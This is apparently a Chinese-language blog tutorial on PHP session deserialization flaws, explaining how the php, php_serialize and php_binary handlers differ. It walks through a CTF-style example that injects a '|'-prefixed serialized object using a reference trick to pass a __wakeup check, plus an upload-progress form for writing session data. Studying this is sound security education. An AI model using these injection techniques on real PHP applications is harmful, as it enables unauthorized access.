Session反序列化

Session反序列化

具体的什么是session,php session的工作机制是什么,可以参考下面这篇文章:
https://xz.aliyun.com/t/6640

先来介绍一下session。session是储存在服务器端的数据,相对比cookie来讲更加的安全,因为cookie是储存在客户端的数据。

​ 先来看一下几个参数的含义:

Directive
session.save_handler session保存形式,默认为files
session.save_path session保存路径
session.serialize_handler session序列化存储所用处理器,默认为php
session.upload_progress.cleanup 一旦读取了所有的POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中,默认开启

session反序列漏洞产生的原因就是写入和读取的内容不一样 (就是使用了不同的处理器)

在php中session有三种反序列化的机制,分别是

1.php 2.php_serialize 3.php_binary

它们的序列化的结果是不一样的,下面分别介绍一下。

1.php ——>键名+竖线+经过serialize()函数序列化之后的值

2.php_serialize ——> 经过serialize()函数序列化处理的数组 使用这个php版本需要大于5.5.4

3.php_binary ——> 键名长度对应的ASCII码+键名+经过serialize()函数序列化后的值

比如说:

1
2
3
4
<?php
session_start();
$_SESSION[name]='jj';
?>

1.php ——>name|s:2:”jj”;

2.php_serialzie ——>a:1:{s:4:”name”;s:2:”jj”;}

3.php_binary ——> EOTnames:2:”jj”;

下面举一个简单的例子来说明一下session反序列化的应用

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

这里面hint.php代码如下:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

在index.php中 没有可以输入的点,但是有一个session_start(),可以对session进行一个读取

然后在hint.php中是一个写入session的,这里写入使用了php_serialize 读取使用了php

根据它们对session序列化的不同,可以构造恶意的代码,从而去获得flag

既然读取是php,它会将|后面的内容进行一个反序列化,所以我们可以在序列化好的字符串前面加上一个|

那么来看这个简单的Flag类,这里利用了引用,就是在某些情况下,两个值不同但获取flag的前提是两个值相同

所以可以构造:

1
2
3
4
5
6
7
8
9
10
<?php
session_start();
class Flag{
public $name;
public $her;
}
$a=new Flag();
$a->name=&$a->her;
echo serialize($a);
?>

没有$_SESSION变量赋值的情况

当session.upload_progress.enable 开启时,当上传一个文件时,会对文件上传进度进行一个监测。

官方来讲就是:当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

简单的来讲就是构造一个上传表单,然后抓包,对文件名进行一个修改

表单代码:

1
2
3
4
5
<form action="http://example" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"; ?>" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

可以看看这篇文章:

https://www.cnblogs.com/yokan/p/12575371.html


Session反序列化
http://example.com/2023/08/23/session反序列化/
作者
FSRM
发布于
2023年8月23日
更新于
2023年8月23日
许可协议